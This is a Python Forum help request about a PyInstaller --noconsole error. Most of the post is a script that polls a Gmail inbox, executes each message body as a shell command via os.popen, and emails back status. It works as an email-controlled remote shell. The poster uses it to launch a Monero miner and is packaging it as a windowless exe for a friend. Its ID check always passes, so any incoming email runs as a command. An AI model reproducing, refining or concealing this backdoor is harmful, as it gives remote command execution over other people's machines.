Python Forum
Pyinstaller can not execute script.
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Pyinstaller can not execute script.
#1
import imaplib
import email
import os
import box
import smtplib


def obtineID():
    f = open("id.txt", "r")
    ID = f.read()
    return ID
ID = obtineID()
Sender = "[OUTPUT]"+ID


























server = smtplib.SMTP( "smtp.gmail.com", 587 )

server.starttls()

server.login( 'email', 'pass' )



trimite = lambda a : server.sendmail( 'email', 'email', a )
while True:
    mail = imaplib.IMAP4_SSL('imap.gmail.com')
      
    mail.login('email', 'pass')
      
      
    mail.list() 
    mail.select('inbox') 
    result, data = mail.uid('search', None, "All")
      
    i = len(data[0].split())
    allow = False
    for x in range(i):
        latest_email_uid = data[0].split()[x] 
        result, email_data = mail.uid('fetch', latest_email_uid, '(RFC822)')
      
        raw_email = email_data[0][1]
      
        raw_email_string = raw_email.decode('utf-8')
      
        email_message = email.message_from_string(raw_email_string)
      
        for part in email_message.walk():
            if part.get_content_type() == "text/plain": 
                body = part.get_payload(decode=True)
                messajbody = body.decode('utf-8')
                if "[INPUT]"+"["+ID+"]" in messajbody or "[INPUT]"+"[ALL]":
                    

                    messajbody = messajbody.replace("\n","")

                    messajbody = messajbody.replace(("[INPUT]"+"["+ID+"]"),"")
                    messajbody = messajbody.replace("\\","\\\\")

                    if "online" in messajbody:
                        trimite("["+ID+"]"+" este online")
                        continue
                    p = os.popen(messajbody)
                    muie = p.read()
                    muie = muie.encode("utf-8")
                    
                    
                    allow = True
                    

                


    if allow == True:
        
        box = imaplib.IMAP4_SSL('imap.gmail.com', 993)
        box.login("email","pass")
        box.select('INBOX')
        typ, data = box.search(None, 'ALL')
        for num in data[0].split():
            
            box.store(num, '+FLAGS', '\\Deleted')
            box.expunge()
            allow = False
Hello.I am using the above code for controling my rig in case it shuts down.I just send an email something like [INPUT][P5]%HOMEPATH%\Desktop\xmrig.exe and it works fine.
A friend of mine asked me for it and I tried to make it a .exe file using pyinstaller.The problem is if I use --windowed or --noconsole when I send an instruction through email I get a pop up with "Failed to execute script remotescript".However if I dont use --windowed It works perfectly fine. Also I am using --onefile.Can anyone explain why is this happening?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Make console show after script was built with Pyinstaller --NOCONSOLE? H84Gabor 0 1,189 May-05-2022, 12:32 PM
Last Post: H84Gabor
  execute python script guy7200 1 1,574 Oct-25-2021, 09:55 PM
Last Post: Axel_Erfurt
  Possible to execute a python script before log off/shutdown with input commands? Kaltex 1 2,234 May-18-2021, 06:31 AM
Last Post: Skaperen
  Execute DBCC CHECKDB from python script susja 1 2,061 Aug-12-2020, 02:09 AM
Last Post: susja
  Execute full script samuelbachorik 0 1,513 Aug-06-2020, 08:09 PM
Last Post: samuelbachorik
  Trying to write and execute first Python script garvind25 3 2,845 May-23-2020, 07:36 PM
Last Post: garvind25
  .exe created with pyinstaller fails to execute iankerr 5 6,730 Apr-20-2020, 03:38 PM
Last Post: steve_shambles
  Execute script in IDLE with parameters Pavel_47 11 7,152 Mar-14-2020, 05:41 AM
Last Post: Larz60+
  Cannot Change Python script to exe using Pyinstaller omar_mohsen 3 2,337 Dec-19-2019, 01:05 PM
Last Post: buran
  How to write a script to execute a program need passing additional input? larkypython 2 2,469 Nov-23-2019, 04:38 AM
Last Post: larkypython

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020